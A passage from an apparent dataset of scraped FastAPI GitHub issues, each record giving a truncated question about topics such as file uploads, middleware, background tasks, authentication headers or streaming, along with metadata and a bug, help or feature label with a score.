- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, File, UploadFile
from fastapi.responses import FileResponse
import pandas as pd

from config import failure_path


app = FastAPI()

@app.post(""/infer"", tags=[""inference""], response_class=FileResponse)
async def infer(input: UploadFile = File(...)) -> Union[FileResponse, dict]:
    data = None

    # Convert from CSV to pandas
    if input.content_type == ""text/csv"":
        data = await input.read()
        temp_io = io.StringIO(data.decode(""utf-8""))
        data = pd.read_csv(temp_io)
    else:
        return {
            ""success"": False,
            ""message"": f""Content type {inp... [TRUNCATED]","question,question-migrate",2022-11-12 15:34:52+00:00,2023-02-27 21:27:59+00:00,6,"question,question-migrate",107.2452,typeerror of media raising first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi file uploadfile from fastapi responses import fileresponse import pandas as pd from config import failure path app fastapi app post infer tags inference response class fileresponse async def infer input uploadfile file union fileresponse dict data none convert from csv to pandas if input content type text csv data await input read temp io io stringio data decode utf data pd read csv temp io else return success false message f content type inp truncated,bug,0.9313
tiangolo/fastapi,1445583376,Defect: Dependency scope propagation is broken,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# conceptual excerpt from unittests of associated PR
async def security1(scopes: SecurityScopes):
    return _security1(scopes.scopes)

async def security2(scopes: SecurityScopes):
    return _security2(scopes.scopes)

async def dep3(
    dep=Security(security1, scopes=[""scope1""]),
    dep2=Security(security2, scopes=[""scope2""]),
):
    return {}


@pytest.fixture
def mocks():
    with patch.dict(globals(), {""_security1"": Mock()}):
        with patch.dict(globals(), {""_security2"": Mock()}):
            yield


app = FastAPI()

@app.get(""/recursive_scopes"")
def recursive_scopes(dep=Security(dep3, scopes=[""scop... [TRUNCATED]","question,investigate,question-migrate",2022-11-11 14:52:44+00:00,2023-02-28 15:43:31+00:00,0,"question,investigate,question-migrate",109.0353,defect dependency scope propagation is broken first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python conceptual excerpt from unittests of associated pr async def security scopes securityscopes return security scopes scopes async def security scopes securityscopes return security scopes scopes async def dep dep security security scopes scope dep security security scopes scope return pytest fixture def mocks with patch dict globals security mock with patch dict globals security mock yield app fastapi app get recursive scopes def recursive scopes dep security dep scopes scop truncated,help,0.9844
tiangolo/fastapi,1445336070,"TypeError: function() argument 'code' must be code, not str","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from app.model.test import Upscale

app = FastAPI()

class TextIn(Upscale):
    org_url: str


class TextOut(Upscale):
    url: str



@app.get(""/"")
def home():
    return {""health_check"": ""OK""}

@app.post(""/post"", response_model=TextOut)
def UpSc(payload: TextIn):
    textwrap = Upscale(payload.org_url)
    return {""url"": ""url""}
```


### Description

Hello,
I used a tutorial from YouTube to-do my code. It is a simple api request. But when I want to run my project as a docker, I get this message:
""TypeError: function() argument 'code' must be code, not str""
i found this error on google, but nothing... [TRUNCATED]","question,answered,question-migrate",2022-11-11 11:25:25+00:00,2023-02-27 21:27:56+00:00,4,"question,answered,question-migrate",108.4184,typeerror function argument code must be code not str first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i used a tutorial from youtube to do my code it is a simple api request but when i want to run my project as a docker i get this message typeerror function argument code must be code not str i found this error on google but nothing truncated,bug,0.5267
tiangolo/fastapi,1445181857,How to expose just get endpoints from Routers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#router_todo.py
from fastapi import FastAPI

router = APIRouter()

@router.get(""/"")
def root():
    return ""todo""

@router.post(""/todo"")
def create_new():
    return ""create new item""



#main.py
from fastapi import FastAPI
import router_todo

app = FastAPI()
app.include_router(router_todo.router, prefix=""/todo"", tags=[""todo""])
```


### Description

I have several Routers whose endpoints I expose on a single app. These endpoints can be anything from post, get, put, delete.

This works nicely, but I am wondering whether there is an elegant solution to just expose the get endpoints for routers?

Of course, I could wrap every en... [TRUNCATED]","question,answered,question-migrate",2022-11-11 09:19:05+00:00,2023-02-27 21:27:51+00:00,12,"question,answered,question-migrate",108.5061,how to expose just get endpoints from routers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have several routers whose endpoints i expose on a single app these endpoints can be anything from post get put delete this works nicely but i am wondering whether there is an elegant solution to just expose the get endpoints for routers of course i could wrap every en truncated,help,0.9664
tiangolo/fastapi,1444963008,"How to manage a set of nested items without running the error ""unhashable type""?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()

class MyBaseModel(BaseModel):
    def __hash__(self):  # make hashable BaseModel subclass
        return hash((type(self),) + tuple(self.__dict__.values()))

class NestedItems(MyBaseModel):
    name: str

class Items(MyBaseModel):
    items: set[NestedItems]

@app.post(""/offers/"")
async def create_items(items: Items):
    return items

```

This can be tested with the following command:

```bash
uvicorn mre:app --reload &
curl -X 'POST' \
  'http://127.0.0.1:8000/offers/' \
  -H 'accept: application/json' \
  -H 'Content-Type: ap... [TRUNCATED]","question,answered,question-migrate",2022-11-11 05:43:07+00:00,2023-02-27 21:27:48+00:00,3,"question,answered,question-migrate",108.656,how to manage a set of nested items without running the error unhashable type first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code this can be tested with the following command bash uvicorn mre app reload curl x post h accept application json h content type ap truncated,bug,0.9504
tiangolo/fastapi,1444837676,"how to disable console output ""{result_flag: True}""","### First Check

- [X] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI


app = FastAPI()
@app.get('/hello')
async def hello():
    return ""hello""
```


### Description

Every time I make a http request to my fastapi server, I get an ouput like this in my consonle: 
`{result_flag}: True`
How to disable this log?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

1.0.3

### Python Version

3.9.5

### Additional Context

_No response_","question,question-migrate",2022-11-11 02:38:31+00:00,2023-02-27 21:27:45+00:00,3,"question,question-migrate",108.7842,how to disable console output result flag true first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description every time i make a http request to my fastapi server i get an ouput like this in my consonle how to disable this log linux details no response fastapi version python version no response,help,0.9052
tiangolo/fastapi,1444405890,Background task not executing multiple requests with same params.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post("""", response_model=IPostResponseBase[Token])
async def login(
    credential: EmailStr | str,
    channel: LoginType,
    # background_tasks: BackgroundTasks,     
) -> Any:
    """"""
    Login for mobile users
    """"""
    # background_tasks.add_task(start_verification, credential, channel)
    await start_verification(credential, channel)
    return create_response(data={}, message=""OTP sent"")
```


### Description

* background task is added as a funtion param and then given a single new task to execute post-response. Essentially this snippet sends an otp verification (we don't care about failure, but d... [TRUNCATED]","question,answered,question-migrate",2022-11-10 18:52:50+00:00,2023-02-27 21:27:42+00:00,7,"question,answered,question-migrate",109.1075,background task not executing multiple requests with same params first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description background task is added as a funtion param and then given a single new task to execute post response essentially this snippet sends an otp verification we don t care about failure but d truncated,feature,0.9109
tiangolo/fastapi,1443809012,Optional bodies for POST endpoints,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class RegistrationRequest(pydantic.BaseModel):
    order_id: str | None


@router.post(""/registration"")
async def registration(
    request: RegistrationRequest,
):
    if request.order_id:
        register_with_order(request.order_id)
    else:
        # This is only reached if body is '{}', if body is '' FastAPI throws 422.
        register_without_order()
```


### Description

We are running an API endpoint which does not expect a request model.

We would like to repurpose the endpoint so that it optionally expects a JSON body. The existing logic should be available when there is no body present or the body hasn't got values for the... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-10 12:19:43+00:00,2023-02-27 21:27:38+00:00,6,"question,answered,reviewed,question-migrate",109.3805,optional bodies for post endpoints first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description we are running an api endpoint which does not expect a request model we would like to repurpose the endpoint so that it optionally expects a json body the existing logic should be available when there is no body present or the body hasn t got values for the truncated,help,0.9493
tiangolo/fastapi,1443657893,How to use to use dynamic response_model when using SQLModel classes defined at runtime,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List, Optional
from fastapi import Depends, FastAPI, HTTPException, Query
from sqlmodel import Field, Relationship, Session, SQLModel, create_engine, select
from sqlalchemy.orm import registry

all_bases = {}

class BaseRepository:
    def __init__(self, db_filename):
        self.engine = create_engine(
            f""sqlite:///{db_filename}"",
            echo=True
        )
        self.mapper_registry = registry()
        class SQLModel_custom(SQLModel, registry=self.mapper_registry):
            pass
        self.sqlmodel_subclass = SQLModel_custom
        self.sqlmodel_subclass.metadata = self... [TRUNCATED]","question,question-migrate",2022-11-10 10:41:26+00:00,2023-02-27 21:27:35+00:00,6,"question,question-migrate",109.4487,how to use to use dynamic response model when using sqlmodel classes defined at runtime first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import list optional from fastapi import depends fastapi httpexception query from sqlmodel import field relationship session sqlmodel create engine select from sqlalchemy orm import registry all bases class baserepository def init self db filename self engine create engine f sqlite db filename echo true self mapper registry registry class sqlmodel custom sqlmodel registry self mapper registry pass self sqlmodel subclass sqlmodel custom self sqlmodel subclass metadata self truncated,help,0.9702
tiangolo/fastapi,1442696198,Adding a middleware causes background tasks cancellation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import asyncio
import time
from fastapi import BackgroundTasks, FastAPI

app = FastAPI()


@app.middleware(""http"")
async def pass_all_middleware(request, call_next):
    return await call_next(request)


async def test_bg():
    try:
        print(""BG TASK STARTED"")
        await asyncio.sleep(5)
        print(""BG TASK ENDED"")
    except BaseException as be:
        print(""BG TASK NOT ENDED CORRECTLY"", type(be))


@app.get(""/hello"")
async def root(background_tasks: BackgroundTasks):
    background_tasks.add_task(test_bg)
    return {""message"": ""hello""}
```


### Description

Executing the sample code ca... [TRUNCATED]","question,investigate,question-migrate",2022-11-09 20:19:19+00:00,2023-02-27 21:27:31+00:00,4,"question,investigate,question-migrate",110.0474,adding a middleware causes background tasks cancellation first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description executing the sample code ca truncated,help,0.9136
tiangolo/fastapi,1442475741,Router set query params from model dynamicly,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# any pydantic model
        Model 
        args1 = Model.dict()
        async def route(
            response: Response,
            req: Request,
            _end: int = 25,
            _order=""DESC"",
            _sort=""id"",
            _start: int = 0,
            **args1
        ):

#and now i do like this 
        async def route(
            response: Response,
            req: Request,
            _end: int = 25,
            _order=""DESC"",
            _sort=""id"",
            _start: int = 0,
        ):
            try:
                fields_store = Model.dict()
                filter = {
            ... [TRUNCATED]","question,answered,question-migrate",2022-11-09 17:25:39+00:00,2023-02-27 21:27:27+00:00,4,"question,answered,question-migrate",110.1679,router set query params from model dynamicly first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python any pydantic model model args model dict async def route response response req request end int order desc sort id start int args and now i do like this async def route response response req request end int order desc sort id start int try fields store model dict filter truncated,help,0.9428
tiangolo/fastapi,1441826972,performance latency after updating to Fastapi > 0.82.0,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#db dependency

def get_db():
    with SessionLocal() as db:
        try:
            yield db
        except:
            raise
        finally:
            db.close()


#exceptions.py
# catch all exception in a middleware

app.middleware(""http"")(exceptions.catch_exceptions_middleware)
```


### Description

i noticed that after i've updated Fastapi to a superior version > 0.82.0, i noticed that mu integrations tests are stuck and keeps running in a slow manner, which is not the usual behavior of  any version that is  less than <= 0.82.0 , Can anyone confirm the same behavior please ? i can not understand why i have a really long late... [TRUNCATED]","question,answered,question-migrate",2022-11-09 10:23:21+00:00,2023-02-27 21:27:23+00:00,8,"question,answered,question-migrate",110.4611,performance latency after updating to fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i noticed that after i ve updated fastapi to a superior version i noticed that mu integrations tests are stuck and keeps running in a slow manner which is not the usual behavior of any version that is less than can anyone confirm the same behavior please i can not understand why i have a really long late truncated,help,0.9313
tiangolo/fastapi,1440441224,"after successful login, no Authorization header received in FastAPI from Swagger or other clients, and this only in servers, no problem in localhost","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/me"", response_model=User)
async def who_am_I(current_user: User = Depends(get_user_from_jwt)):
    return current_user

oauth2_scheme** = OAuth2PasswordBearer(tokenUrl=""/login"")

async def get_user_from_jwt(token: str = Depends(**oauth2_scheme)):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail=""Could not validate credentials"",
        headers={""WWW-Authenticate"": ""Bearer""},
    )
    try:
        if not token: # this is only called when using auto_error=False
            return None

        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGO... [TRUNCATED]","question,answered,question-migrate",2022-11-08 15:40:01+00:00,2023-02-27 21:27:19+00:00,6,"question,answered,question-migrate",111.2412,after successful login no authorization header received in fastapi from swagger or other clients and this only in servers no problem in localhost first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python app get me response model user async def who am i current user user depends get user from jwt return current user oauth scheme oauth passwordbearer tokenurl login async def get user from jwt token str depends oauth scheme credentials exception httpexception status code status http unauthorized detail could not validate credentials headers www authenticate bearer try if not token this is only called when using auto error false return none payload jwt decode token secret key algorithms algo truncated,bug,0.6581
tiangolo/fastapi,1440316960,StreamingResponse not streaming when using httpx.AsyncClient(),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter

router = APIRouter(dependencies=[Depends(get_token_cookie)])
dccapi_auth = {...}

async def getwflogs(serverip):
    async with AsyncClient(headers=dccapi_auth) as client:
        req = client.build_request(""POST"", f""http://{serverip}:3322/api/service/getlog/3e170885-c0e4-469a-bc73-c598d99e9de1"")
        r = await client.send(req, stream=True)
        async for i in r.aiter_text():
            yield i

@router.get(""/getwflogs"")
async def GET_getwflogs():
    return StreamingResponse(getwflogs(serverip), media_type=""text/plain"")
```


### Description

* Call /getwflogs endpoint from ... [TRUNCATED]","question,answered,question-migrate",2022-11-08 14:32:11+00:00,2023-02-27 21:27:15+00:00,4,"question,answered,question-migrate",111.2882,streamingresponse not streaming when using httpx asyncclient first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description call getwflogs endpoint from truncated,help,0.9136
tiangolo/fastapi,1439714246,FastAPI dependencies tare-down breaks with BaseHTTPMiddleware,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import Depends, FastAPI
from fastapi.middleware.base import BaseHTTPMiddleware
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware


class CustomMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        return await call_next(request)


app = FastAPI(middleware=[Middleware(CustomMiddleware)])


def dependency_a():
    yield ""A""
    logging.warning(""WILL NOT RUN"")


def dependency_b():
    yield ""B""
    logging.warning(""WILL NOT RUN"")


def dependency_c():
    yield ""C""
    logging.warning(""WILL RU... [TRUNCATED]","question,investigate,question-migrate",2022-11-08 08:23:11+00:00,2023-02-28 15:43:28+00:00,5,"question,investigate,question-migrate",112.3058,fastapi dependencies tare down breaks with basehttpmiddleware first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import logging from fastapi import depends fastapi from fastapi middleware base import basehttpmiddleware from starlette middleware import middleware from starlette middleware base import basehttpmiddleware class custommiddleware basehttpmiddleware async def dispatch self request call next return await call next request app fastapi middleware middleware custommiddleware def dependency a yield a logging warning will not run def dependency b yield b logging warning will not run def dependency c yield c logging warning will ru truncated,help,0.6124
tiangolo/fastapi,1435481840,Add Support for Pydantic models in multipart/form data requests.,"### Example Code

```python
from typing import List, Type, Union, Any, Dict, Tuple, TypedDict

from fastapi import Depends, FastAPI
from fastapi import Form, UploadFile, File
from fastapi.openapi.utils import get_openapi
from pydantic import BaseModel
from pydantic import ValidationError
from starlette.responses import JSONResponse
from starlette.status import HTTP_422_UNPROCESSABLE_ENTITY

Loc = Tuple[Union[int, str], ...]


class _ErrorDictRequired(TypedDict):
    loc: Loc
    msg: str
    type: str


class ErrorDict(_ErrorDictRequired, total=False):
    ctx: Dict[str, Any]


app = FastAPI()


class MultipleValidationErrors(Exception):
    def __init__(self, errors: List[ErrorDict]):
        super().__init__()
        self.errors = errors


class TestSchema(BaseModel):
    foo: str
    bar: int


def validate_json(model: Type[BaseModel]):
    def wrapper(body: str = Form(...)):
        try:
            return model.parse_raw(body)
        except ValidationError as exc:
            errors = exc.errors()
            for error in errors:
                error[""loc""] = tuple([""body""] + list(error[""loc""]))
            raise MultipleValidationErrors(errors)

    return wrapper


@app.post(""/test"")
def endpoint(file: UploadFile = File(...), body: TestSchema = Depends(validate_json(TestSchema))):
    print(file)
    print(body)
    return body


@app.exception_handler(MultipleValidationErrors)
